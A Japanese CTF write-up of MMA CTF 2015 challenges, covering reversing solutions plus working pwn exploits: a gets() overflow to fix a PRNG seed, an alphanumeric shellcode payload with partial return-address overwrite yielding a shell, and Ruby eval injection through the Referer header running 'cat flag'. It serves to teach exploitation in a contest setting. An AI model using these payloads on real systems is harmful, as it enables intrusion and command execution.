MMA CTF 1st 2015 writeup
MMA CTF 1st 2015にscryptosで参加しました。
チームで24個のフラグを通し、2300ptsで10位でした(*´ω`*)
私は8個のフラグを通し、1130pts入れました(`・ω・´)
とても有意義なCTFで、すごく楽しかったです!
ということで、writeupを置いておきます。
How to use? (Reverse, Warmup: 30)
Windows用のDLLファイル。
fnhowtouse
というエクスポート関数があり、それを見ると、
int fnhowtouse(int num){ int (*funcs[45])(); funcs[0] = return_M; //'M'を返す関数 funcs[1] = return_M; //'M'を返す関数 funcs[2] = return_A; //'A'を返す関数 funcs[3] = return_left; //'{'を返す関数 // (略) return funcs[num](); }
という感じになっている。
fnhowtouse
をがんばって読むか、dllファイルをロードした上で
int i; for(i = 0; i < 45; i++){ putchar(fnhowtouse(i)); }
をすればフラグが取れる。
FLAG:MMA{fc7d90ca001fc8712497d88d9ee7efa9e9b32ed8}
This program cannot be run in DOS mode. (Reverse: 80)
これもWindowsバイナリ
……ではあるが、ヘッダ部分が変になっている。
コード部分(0x400~)は無事っぽい感じなので、ただのバイナリファイルとしてIDAで読み込む。
これを……
こうして……
こうして……
こうじゃ!
Strings windowを眺めると"The FLAG is MMA{%s}"
という文字列が転がっていたので、
printf("The FLAG is MMA{%s}", "7a35hxb9q81fsg6");
が実行されるものと予測することができる。
FLAG:MMA{7a35hxb9q81fsg6}
RPS (Pwn, Warmup: 50)
x86_64なELFバイナリ。
Cに直すとこんな感じ。
char buf[]; //0x601300 int main(){ char name[48]; //rbp-0x50 int seed; //rbp-0x20 FILE* fp; //rbp-0x18 int i; //rbp-0x4 fp = fopen("/dev/urandom", "r"); fread(&seed, 4, 1, fp); fclose(fp); printf("What's your name: "); fflush(stdout); gets(name); //[!] buffer overflow printf("Hi, %s\n", name); puts("Let's janken"); fflush(stdout); srand(seed); for(i = 0; i < 50; i++){ printf("Game %d/50\n", i); printf("Rock? Paper? Scissors? [RPS]"); fflush(stdout); // 普通のじゃんけん // CPUの手はrand() % 3で決まる // 負けたら即終了、あいこならやり直し } printf("Congrats %s!!!!\n", name); fp = fopen("flag.txt", "r"); fgets(buf, 100, fp); puts(buf); fflush(stdout); return 0; }
じゃんけんで50連勝すればフラグがもらえる。
名前入力時にbuffer overflowすることで、srand
に渡されるseed
の値を自由に設定することができる。
乱数の種がわかればCPUの手は全てお見通しなので、あとはCPU相手にじゃんけんで無双する。
#coding:ascii-8bit require_relative "../../pwnlib" PwnTube.open("milkyway.chal.mmactf.link", 1641){|tube| tube.wait_time = 0 tube.recv_until("What's your name:") payload = "" payload << "A" * 0x30 payload << [1].pack("L") # seedを1にする tube.send(payload + "\n") tube.send("SSPSRSSPPSRSRSRSPPSSRRPPRRRSSSRPPPRPSSSSPPPRRSRRRP") tube.interactive }
$ ruby rps.rb [*] connected [*] interactive mode Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA☺ Let's janken Game 1/50 Rock? Paper? Scissors? [RPS]Scissors-Paper You win!! Game 2/50 Rock? Paper? Scissors? [RPS]Scissors-Paper You win!! (長いのでじゃんけん略) Game 50/50 Rock? Paper? Scissors? [RPS]Paper-Rock You win!! Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA☺!!!! MMA{treed_three_girls} [*] end interactive mode [*] connection closed
FLAG:MMA{treed_three_girls}
Pattern Lock - 1(PPC, Warmup: 20)
この問題はフラグが2つあり、1つめはAndroidでおなじみのパターンロックのパターンの総数を求める問題。
(2つめの問題はscryptosの競プロのプロ、とさかさんにやってもらった。ちなみにMoney GameのPPCもとさかプロにお願いした)
甚だしく残念なコードを書いてDFSで解いた。
(おまけに誤答飛ばしまくったので超絶かっこわるい)
@count = 0 def solve(field, from, depth) if depth >= 4 @count += 1 end for to in 0...9 if field[to] next end if [from, to].sort == [0, 2] && !field[1] || [from, to].sort == [0, 6] && !field[3] || [from, to].sort == [2, 8] && !field[5] || [from, to].sort == [6, 8] && !field[7] || [from, to].sort == [0, 8] && !field[4] || [from, to].sort == [2, 6] && !field[4] || [from, to].sort == [1, 7] && !field[4] || [from, to].sort == [3, 5] && !field[4] next end field[to] = true solve(field, to, depth + 1) field[to] = false end end field = [false] * 9 for i in 0...9 field[i] = true solve(field, i, 1) field[i] = false end puts @count
FLAG:389112
Digital Circuit (Reverse: 250)
"#!/usr/bin/vvp"というshebangで始まる謎のコードを渡される。
このファイルを一目見たしほさんが
- Verilog-HDLというHDL(ハードウェア記述言語)で書かれたソースをコンパイルしたもの
- コンパイラやシミュレータはhttp://bleyer.org/icarus/にある(0.9.7を使うこと)
- このプログラムは
vvp <filename> +input=<input>
で動作確認できる
ということを教えてくれた。
しほプロ一体何者なんだ……。
教えていただいた情報を基に実行環境を作り、軽く動作テスト。
$ vvp program +input=12345 Checking input data... Wrong.
はい、動いたけどWrongです(´・ω・`)
問題のファイルを見ると、論理回路の定義っぽい部分とコードっぽい部分があり、コードっぽい部分は以下の通り。
T_0 ; %vpi_func 2 47 "$value$plusargs", 8, 32, "input=%d", v0xbdac00_0; %nor/r 8, 8, 32; %jmp/0xz T_0.0, 8; %vpi_call 2 48 "$display", "No input data."; %vpi_call 2 49 "$display", "Wrong."; %jmp T_0.1; T_0.0 ; %vpi_call 2 51 "$display", "Checking input data..."; %delay 1000, 0; %load/v 8, v0xbdad20_0, 1; %mov 9, 0, 1; %cmpi/u 8, 0, 2; %jmp/0xz T_0.2, 4; %vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0; %jmp T_0.3; T_0.2 ; %vpi_call 2 56 "$display", "Wrong."; T_0.3 ; T_0.1 ; %end;
ファイル全体を見た感じだと、
- "v"から始まる識別子は変数(variable)っぽい
- "L"から始まる識別子は論理回路(Logic)っぽい
%vpi_func 2 47 "$value$plusargs", 8, 32, "input=%d", v0xbdac00_0;
より、入力はv0xbdac00_0
に入るっぽい%vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0;
というのがprintf("Correct!!! The flag is MMA{%s}. ", v0xbdac00_0)
に相当するっぽい
このdisplay
関数(関数?)を使えば変数の中身を確認できそう
という印象。
特に4つめに関して、例えば
T_0 ; %vpi_func 2 47 "$value$plusargs", 8, 32, "input=%d", v0xbdac00_0; %nor/r 8, 8, 32; %jmp/0xz T_0.0, 8; %vpi_call 2 48 "$display", "No input data."; %vpi_call 2 49 "$display", "Wrong."; %jmp T_0.1; T_0.0 ; %vpi_call 2 51 "$display", "Checking input data..."; %delay 1000, 0; %vpi_call 2 54 "$display", "input=%x", v0xbdac00_0; # ←この1行を追加する %load/v 8, v0xbdad20_0, 1; %mov 9, 0, 1; %cmpi/u 8, 0, 2; %jmp/0xz T_0.2, 4; %vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0; %jmp T_0.3; T_0.2 ; %vpi_call 2 56 "$display", "Wrong."; T_0.3 ; T_0.1 ; %end;
とすることで、
$ vvp program +input=999 Checking input data... input=00000000000000000000000000000000000000000000000000000000000003e7 Wrong.
このようにv0xbdac00_0
の中身を確認できるので、動的解析に使える。
改めてコードを見てみると、
%load/v 8, v0xbdad20_0, 1; # v0xbdad20_0をどこかにロード? %mov 9, 0, 1; %cmpi/u 8, 0, 2; # 比較? %jmp/0xz T_0.2, 4; # 比較結果で分岐? %vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0; %jmp T_0.3; T_0.2 ; %vpi_call 2 56 "$display", "Wrong."; T_0.3 ; T_0.1 ; %end;
となっているので、まずv0xbdad20_0
が絡む部分から調査することにした。
ファイル内をv0xbdad20_0
で文字列検索してみると、
v0xbdad20_0 .net "result", 0 0, L_0xbdd7a0; 1 drivers
がヒットし、この中に出てくるL_0xbdd7a0
で再度検索すると、
L_0xbdd7a0 .reduce/or L_0xbdada0;
がヒットする……という感じで回路を解析していく。
(回路より抜粋) v0xbdad20_0 .net "result", 0 0, L_0xbdd7a0; 1 drivers L_0xbdd7a0 .reduce/or L_0xbdada0; L_0xbdada0 .concat [ 128 64 64 0], L_0xbddca0, L_0xbdd4f0, L_0xbdc740; (動作) v0xbdad20_0にはL_0xbdd7a0の出力が入る L_0xbdd7a0はL_0xbdada0の出力をreduce/or(reduce/or = 入力のすべてのビットをORする) L_0xbdada0はL_0xbddca0とL_0xbdd4f0とL_0xbdc740の各出力を繋げたもの(引数の順番とは逆順で繋がる模様)
ここまで解析したところで、コード部分を少し書き換え、入力と出力の関係を観察することにした。
T_0.0 ; %vpi_call 2 51 "$display", "Checking input data..."; %delay 1000, 0; %load/v 8, v0xbdad20_0, 1; %mov 9, 0, 1; %vpi_call 2 54 "$display", "input=%x", v0xbdac00_0; # 入力 %vpi_call 2 54 "$display", "stage1=%x", v0xbda7d0_0; # L_0xbdc740の出力 %vpi_call 2 54 "$display", "stage2=%x", v0xbda880_0; # L_0xbdd4f0の出力 %vpi_call 2 54 "$display", "stage3=%x", v0xbda9c0_0; # L_0xbddca0の出力 %vpi_call 2 54 "$display", "concat=%x", v0xbdaca0_0; # L_0xbdada0(concat)の出力 %vpi_call 2 54 "$display", "result=%x", v0xbdad20_0; # L_0xbdd7a0(reduce/or)の出力 %cmpi/u 8, 0, 2; # %jmp/0xz T_0.2, 4; # ←"Wrong."が出ると悲しくなるのでjmp命令は潰した %vpi_call 2 54 "$display", "Correct!!! The flag is MMA{%s}. ", v0xbdac00_0; %jmp T_0.3;
$ vvp program +input=12345 Checking input data... input=0000000000000000000000000000000000000000000000000000000000003039 stage1=adcdc689a5b88f8a stage2=5969464562316b77 stage3=0ee1b0051ec45185c02b18dc530edeeb concat=adcdc689a5b88f8a5969464562316b770ee1b0051ec45185c02b18dc530edeeb result=1 Correct!!! The flag is MMA{ 09}. ←正答時の入力がフラグになる $ vvp program +input=57 Checking input data... input=0000000000000000000000000000000000000000000000000000000000000039 stage1=adcdc689a5b88f8a stage2=5969464562316b77 ←入力が短いとstage1, stage2は変わらない stage3=0ee1b00518b6dc87119c3696a5a88eeb ←1バイト違うだけでそれなりに変化する concat=adcdc689a5b88f8a5969464562316b770ee1b00518b6dc87119c3696a5a88eeb result=1 Correct!!! The flag is MMA{ 9}. $ vvp program +input=64053151420411946063694043751862251568 Checking input data... input=0000000000000000000000000000000030303030303030303030303030303030 stage1=adcdc689a5b88f8a stage2=5969464562316b77 ←16バイトまでstage1, stage2は変わらず stage3=7b94c5706dc411910816ecd1c7048182 concat=adcdc689a5b88f8a5969464562316b777b94c5706dc411910816ecd1c7048182 result=1 Correct!!! The flag is MMA{ 0000000000000000}. $ vvp program +input=16397606763625458192305675200476736401456 Checking input data... input=0000000000000000000000000000003030303030303030303030303030303030 stage1=adcdc689a5b88f8a stage2=5969464562316b47 ←17バイトでstage2の下位1バイト目が変化。stage1は変わらず stage3=7b94c5706dc411910816ecd1c7048182 concat=adcdc689a5b88f8a5969464562316b477b94c5706dc411910816ecd1c7048182 result=1 Correct!!! The flag is MMA{ 00000000000000000}. $ vvp program +input=1181572091366904614369089773780266619501619848369700614192 Checking input data... input=0000000000000000303030303030303030303030303030303030303030303030 stage1=adcdc689a5b88f8a ←24バイトまでstage1は変わらず stage2=2939161532013b47 stage3=7b94c5706dc411910816ecd1c7048182 concat=adcdc689a5b88f8a2939161532013b477b94c5706dc411910816ecd1c7048182 result=1 Correct!!! The flag is MMA{ 000000000000000000000000}. $ vvp program +input=302482455389927581278486982087748254592414681182643357233200 Checking input data... input=0000000000000030303030303030303030303030303030303030303030303030 stage1=adcdc689a5b88fba ←25バイトでstage1の下位1バイト目が変化 stage2=2939161532013b47 stage3=7b94c5706dc411910816ecd1c7048182 concat=adcdc689a5b88fba2939161532013b477b94c5706dc411910816ecd1c7048182 result=1 Correct!!! The flag is MMA{ 0000000000000000000000000}.
L_0xbdd7a0 .reduce/or L_0xbdada0;
→L_0xbdd7a0 .reduce/or C4<00110000>;
という具合に書き換えることで、論理回路の入力に任意のデータを設定できる。
これを利用していろいろ試したところ、concat
が0になる(⇔stage1~stage3が0になる)ようなinput
を与えることでresult
が0になる(=フラグが出てくる)ことがわかった。
stage3の回路が一番最初に読み切れたため、まずstage3の結果を0にする方法を考える。
(回路より抜粋) L_0xbddca0 .functor XOR 128, L_0xbdda00, C4<00001110111000011011000000000101000110001011000101111110100100000111110001100000110010110000100011000101110010000001011110110010>, C4<00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000>, C4<00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000>; L_0xbdda00 .arith/mult 128, L_0xbdd840, C4<00000000000000000000000000000000000000000000000000100010010010000100010101001100010011000100111100100001001000010010001000100001>; L_0xbdd840 .part v0xbdac00_0, 0, 128; # v0xbdac00_0はinput (動作) L_0xbdd840 = inputの下位128bit L_0xbdda00 = L_0xbdd840 * 0x2248454c4c4f21212221 (128bit演算) L_0xbddca0(stage3) = L_0xbdda00 ^ 0xee1b00518b17e907c60cb08c5c817b2 (128bit演算)
stage3が0になることから
x * 0x2248454c4c4f21212221 ≡ 0xee1b00518b17e907c60cb08c5c817b2 (mod 1<<128)
となるようなxを求めればよいということになり、
x ≡ 0x565445786132566a56584a6a64544572 (10進表記だと114751169597342744596249138895139390834)
となる。
実際に動かして確認してみると
$ vvp program +input=114751169597342744596249138895139390834 Checking input data... input=00000000000000000000000000000000565445786132566a56584a6a64544572 stage1=adcdc689a5b88f8a stage2=5969464562316b77 stage3=00000000000000000000000000000000 concat=adcdc689a5b88f8a5969464562316b7700000000000000000000000000000000 result=1 Correct!!! The flag is MMA{ VTExa2VjVXJjdTEr}.
stage3がきれいに0になっていて大変気持ちがいい(*´ω`*)
この調子でstage1, stage2の回路も解析するつもりだったが、この2つは順序回路だったため解析が難航(´・ω・`)
改めて入力と出力の関係を調べると、
$ vvp program +input=114751169597342744596249138895139390834 Checking input data... input=00000000000000000000000000000000565445786132566a56584a6a64544572 stage1=adcdc689a5b88f8a stage2=5969464562316b77 ←stage2への入力がないときはこの状態 stage3=00000000000000000000000000000000 concat=adcdc689a5b88f8a5969464562316b7700000000000000000000000000000000 result=1 Correct!!! The flag is MMA{ VTExa2VjVXJjdTEr}. $ vvp program +input=16448304781802388990838230295620013540722 Checking input data... input=00000000000000000000000000000030565445786132566a56584a6a64544572 stage1=adcdc689a5b88f8a stage2=5969464562316b47 ←17バイト目だけを変えると、stage2の下位1バイト目だけが変わる stage3=00000000000000000000000000000000 concat=adcdc689a5b88f8a5969464562316b4700000000000000000000000000000000 result=1 Correct!!! The flag is MMA{ 0VTExa2VjVXJjdTEr}. $ vvp program +input=4181504475894089181782543425260462921762162 Checking input data... input=00000000000000000000000000003000565445786132566a56584a6a64544572 stage1=adcdc689a5b88f8a stage2=5969464562313b77 ←18バイト目だけを変えると、stage2の下位2バイト目だけが変わる stage3=00000000000000000000000000000000 concat=adcdc689a5b88f8a5969464562313b7700000000000000000000000000000000 result=1 Correct!!! The flag is MMA{ 0 VTExa2VjVXJjdTEr}.
入力の1バイトと出力の1バイトが対応している感じだった。
stage1についても同じ傾向が見られたため、総当たりするスクリプトを書いて1バイトずつ確定させていった。
require "open3" stage1 = "" stage2 = "" while stage2.length < 8 for c in 0x20..0x7e result = Open3.capture2('C:\iverilog\bin\vvp C:\iverilog\bin\program +input=' + (val + (c << (128 + stage2.length * 8))).to_s)[0] if result =~ Regexp.new("stage2=[0-9a-f]{#{14 - stage2.length * 2}}00") val = val + (c << (128 + stage2.length * 8)) stage2 << c.chr break end end end puts stage2.reverse.unpack("H*")[0] #=> 5969464562316b77 while stage1.length < 8 for c in 0x20..0x7e result = Open3.capture2('C:\iverilog\bin\vvp C:\iverilog\bin\program +input=' + (val + (c << (192 + stage1.length * 8))).to_s)[0] if result =~ Regexp.new("stage1=[0-9a-f]{#{14 - stage1.length * 2}}00") val = val + (c << (192 + stage1.length * 8)) stage1 << c.chr break end end end puts stage1.reverse.unpack("H*")[0] #=> 523239765a477076
ということで、フラグを得るためのinputは、stage1, stage2, stage3の解を繋げた、
0x523239765a4770765969464562316b77565445786132566a56584a6a64544572 (10進表記だと37178392527389731525017042498717980764933621579889715773514156030217652815218)
ということがわかった。
$ vvp program +input=37178392527389731525017042498717980764933621579889715773514156030217652815218 Checking input data... input=523239765a4770765969464562316b77565445786132566a56584a6a64544572 stage1=0000000000000000 stage2=0000000000000000 stage3=00000000000000000000000000000000 concat=0000000000000000000000000000000000000000000000000000000000000000 result=0 Correct!!! The flag is MMA{R29vZGpvYiFEb1kwVTExa2VjVXJjdTEr}.
FLAG:MMA{R29vZGpvYiFEb1kwVTExa2VjVXJjdTEr}
Simple Hash (Reverse, PPC: 200)
こんな感じの問題。
def calc_hash(input) hash = 0 input.each_byte{|b| hash = (hash * 577 + b) % 1000000000000037 } return hash end input = gets.strip if input =~ /[^0-9a-zA-Z]/ || calc_hash(input) != 0x1e1eab437eeb0 puts "Wrong!" else puts "Correct!" print_flag end
e00000: 0x1a6c7e820c8b7 f00000: 0x1e0f2bf3b73f8 ←"f00000"と"g00000"の間に0x1e1eab437eeb0があるかも? g00000: 0x21b1d96561f39 h00000: 0x255486d70ca7a f80000: 0x1e1c134aebc00 f90000: 0x1e1db035d2501 ←"f90000"と"fA0000"の間に0x1e1eab437eeb0があるかも? fA0000: 0x1e2a978d06d09 fB0000: 0x1e2c3477ed60a
という風に先頭から1文字ずつ変えてみる方法で探索するスクリプトを書いた。
Alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" Key = 0x1E1EAB437EEB0 Mod = 1000000000000037 def compute_hash(input) hash = 0 input.bytes.each{|b| hash = (hash * 577 + b) % Mod } return hash end def search_chars(password, index) result = [] p = "" + password p[index] = Alphabet[0] prev_hash = compute_hash(p) for i in 1...Alphabet.length p[index] = Alphabet[i] next_hash = compute_hash(p) if next_hash == Key puts "[!] answer = #{p}" exit end if prev_hash < Key && Key < next_hash result << Alphabet[i - 1] end prev_hash = next_hash end result << "z" return result end def solve(password, index) if index >= password.length return end search_chars(password, index).each{|c| p = "" + password p[index] = c solve(p, index + 1) } end length = 6 while length < 999 puts "length = #{length}" solve("0" * length, 0) length += 1 end
$ ruby solver.rb length = 6 length = 7 length = 8 length = 9 length = 10 [!] answer = 5iyP7znv7R $ nc milkyway.chal.mmactf.link 6669 5iyP7znv7R Correct! MMA{mocho is cute}
FLAG:MMA{mocho is cute}
spell (Pwn: 300)
$ nc pwn1.chal.mmactf.link 38264 ---- / / / / / | ____ ____ / / \ / \ / \ / / \ /_____/ /_____/ / / / / / / / ____/ / \_____ / / as a service spell: version 1.0 spell: Ispell version 3.3.02 Input your paragraph: hoge Misspelled: hoge Input your paragraph: test Perfect!
英単語のスペルをチェックしてくれるサービス。
下調べ。
$ file saas-stripped saas-stripped: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=9286a3369d780d0d76c9aa01e48309633c739789, stripped $ checksec.sh --file saas-stripped RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH saas-stripped
静的リンクでstrippedなのが面倒だが、NX無効なのが気になる。
Cに直すとこんな感じ。
int is_input_valid(char *str){ //inline function char *ptr = str; while(*ptr != '\n'){ if(!isalnum(*ptr) && *ptr != ' '){ puts("Invalid character."); return 0; } *ptr++; } return 1; } int is_spelling_correct(char *input_buf, char *output_buf){ int pipefd1[2]; int pipefd2[2]; int pid; int length; char *ptr; if(pipe(pipefd2) == -1 || pipe(pipefd1) == -1){ perror("pipe"); exit(1); } pid = fork(); if(pid == 0){ //fdをdupしたりcloseしたりごちゃごちゃやる execl("/usr/bin/spell", "spell", 0); perror("execl"); exit(1); } if(pid == -1){ perror("fork"); exit(1); } close(pipefd2[0]); close(pipefd1[1]); write(pipefd2[1], input_buf, strlen(input_buf)); close(pipefd2[1]); length = read(pipefd1[0], output_buf, 1024); if(length > 0){ ptr = output_buf; while(1){ ptr += length; if(read(pipefd1[0], ptr, 1024) <= 0){ break; } } } close(pipefd1[0]); //子プロセスを待つ処理? return *output_buf == '\0'; } char *mainloop(char *input_buf){ char output_buf[4096]; char *ptr; memset(input_buf, 0, 4096); memset(output_buf, 0, 4096); while(1){ printf("Input your paragraph: "); fflush(stdout); if(!fgets(input_buf, 4096, stdin)){ exit(1); } if(!is_input_valid(input_buf)){ continue; } if(is_spelling_correct(input_buf, output_buf)){ return input_buf; }else{ puts("Misspelled:"); printf("%s", output_buf); fflush(stdout); } } } int main(){ char buf[4096]; setbuf(stdout, 0); puts(すごいAA); system("spell -V 2>&1"); system("spell -I 2>&1"); memset(buf, 0, 4096); mainloop(buf); puts("Perfect!"); return 0; }
入力された文字列をspellコマンドに渡し、出力があれば(=スペルミスがあれば)該当単語を出力、なければ(=スペルミスがなければ)終了する、という仕様。
spellコマンドに長い単語を渡すと
Input your paragraph: ["A"*4094を入力] Misspelled: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (略)
という風に勝手に改行を入れてくるため、入力した文字数 < spellコマンドの出力する文字数
となることを利用してbuffer overflowできる。
buffer overflow後に正しい単語を入力してmainloop
を抜けようとするとsegmentation faultが発生する。
Input your paragraph: ["A"*4094を入力] Misspelled: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (略) Input your paragraph: test Segmentation fault (コアダンプ) $ dmesg | tail -n 1 [ 5430.589665] saas-stripped[3207]: segfault at 41414141 ip 0000000041414141 sp 00000000ffdd1c90 error 14
正常な場合におけるmainloop
終了時のスタックやレジスタの状態を見てみると、
gdb-peda$ x/20wx $esp ↓入力した文字列のアドレス 0xffffc40c: 0x080493b8 [0xffffc428] 0x00000000 0x00001000 0xffffc41c: 0x00000000 0x00000000 0x00000000 [0x74736574]←入力した文字列 0xffffc42c: 0x0000000a 0x00000000 0x00000000 0x00000000 0xffffc43c: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffc44c: 0x00000000 0x00000000 0x00000000 0x00000000 gdb-peda$ context reg [----------------------------------registers-----------------------------------] EAX: 0xffffc428 ("test\n") ←eaxレジスタに入力文字列のアドレス EBX: 0x0 ECX: 0x0 EDX: 0x0 ESI: 0xffffc428 ("test\n") EDI: 0x8049ae0 (push ebx) EBP: 0x8049a40 (push ebp) ESP: 0xffffc40c --> 0x80493b8 (mov DWORD PTR [esp],0x80c6a15) EIP: 0x80492fe (ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [------------------------------------------------------------------------------] Legend: code, data, rodata, value
となっており、ret2retでスタックポインタを値1つ分ずらすことで、スタック上のコードを実行することができる。
入力には英数字か半角スペースしか使えないが、
- buffer overflowによるpartial overwriteでリターンアドレスをretガジェットのアドレスに書き換える
(これなら英数字・半角スペースでできる) - スタック上にalphanumeric shellcodeが読み込んである状態で
mainloop
を抜ける
とすることでshellを取ることができる。
mainloop
を抜けるための条件だが、実は「spellコマンドに怒られないような文字列を入力する」以外にもう1つあり、それは「spellコマンドに怒られる文字列でも、何回も入力すればそのうちspellコマンドがデレてくれる」というもの。
(バッタプロが発見した挙動。この問題の本番サーバ限定。ulimitの設定か何かが関係している?)
追記(2015/09/08 8:55):運営のytokuさんによると、RLIMIT_NPROCの設定が関係している模様
$ nc pwn1.chal.mmactf.link 38264 ---- / / / / / | ____ ____ / / \ / \ / \ / / \ /_____/ /_____/ / / / / / / / ____/ / \_____ / / as a service spell: version 1.0 spell: Ispell version 3.3.02 Input your paragraph: mma Misspelled: mma Input your paragraph: mma Misspelled: mma Input your paragraph: mma Misspelled: mma (中略) Input your paragraph: mma Misspelled: mma Input your paragraph: mma Misspelled: mma Input your paragraph: mma Misspelled: mma Input your paragraph: mma Perfect! ←!?
デレてくれるまでの回数は途中で何回か変わっており、問題にとりかかった時点では3回目、問題を解いた時点では6回目、大会後の時点では18回目の入力でspellコマンドがデレてくれる。
この挙動を使うことで「alphanumericで、かつspellコマンドに怒られないシェルコードを作る」という過酷な要件を回避できる。
#coding:ascii-8bit require_relative "../../pwnlib" PwnTube.open("pwn1.chal.mmactf.link", 38264){|tube| tube.wait_time = 0 puts "[*] overwrite return address" tube.recv_until("Input your paragraph:") payload = "b" * (4094 - 15) + "fF" # partial overwrite tube.send(payload + "\n") puts "[*] send shellcode" 17.times{ print "." tube.recv_until("Input your paragraph:") payload = "PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx" tube.send(payload + "\n") } puts tube.shell }
$ ruby saas.rb [*] connected [*] overwrite return address [*] send shellcode ................. [*] waiting for shell... [*] interactive mode id uid=38264649 gid=38264(p38264) groups=38264(p38264) ls -la total 688 drwxr-x--- 2 root p38264 4096 Sep 5 01:22 . drwxr-xr-x 6 root root 4096 Sep 4 21:22 .. -rw-r----- 1 root p38264 39 Sep 5 01:22 flag -rwxr-x--- 1 root p38264 688904 Sep 5 01:22 saas-stripped cat flag MMA{spell_is_useless_in_Japanese_lang} exit [*] end interactive mode [*] connection closed
FLAG:MMA{spell_is_useless_in_Japanese_lang}
Alphabet Programming (PPC: 200)
#!/usr/bin/ruby require 'cgi' cgi = CGI::new program = cgi['program'] result = "" message = "" unless program != "" message = "" else program=program.to_s.gsub("\r","") if /\A[a-z \r\n]+\Z/ =~ program && program.split("\n").size <= 25 begin result = eval(program) rescue Exception => e message = "Program Error" end else message = "Cannot run the program." end end cgi.out do <<EOL <!doctype html> <html lang="en"> <head> <title>Alphabet Programming</title> <link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css" rel="stylesheet"> </head> <body> <div class="container"> <h3>Program</h3> <div class="span12"> <form method="post" class="form"> <div class="form-group"> <label>Program</label> <textarea class="form-control" name="program">#{CGI.escapeHTML(program)}</textarea> </div> <input type="submit" class="btn btn-primary"> </form> </div> <h3>Result</h3> <div style="color:red;">#{message}</div> <pre>#{CGI.escapeHTML(result.to_s)}</pre> </div> </body> </html> EOL end
eval
で任意のRubyコードを実行できるが、使える文字が小文字アルファベットと空白・改行のみ。
チームのdocsに、小文字アルファベットのみのRubyプログラミングに関する資料と「cgiに渡されるパラメータをevalできないか?」というすごくいいアイデアがあったので、これらを基にコードを考えた。
public def each eval referer end for i in cgi do end
ローカルでうまく動いたので、リファラにRubyコードをセットしてフラグを取りに行った。
require "uri" require "net/http" uri = URI.parse("http://recocta.chal.mmactf.link:8083/") program = <<EOS public def each eval referer end for i in cgi do end EOS Net::HTTP.start(uri.host, uri.port){|http| request = Net::HTTP::Post.new(uri.path) request["referer"] = "require 'open3';Open3.capture2('cat flag')[0]" request.form_data = {"program" => program} puts http.request(request).body }
FLAG:MMA{c731894a0a5f350d16d0c8aab4e66b03}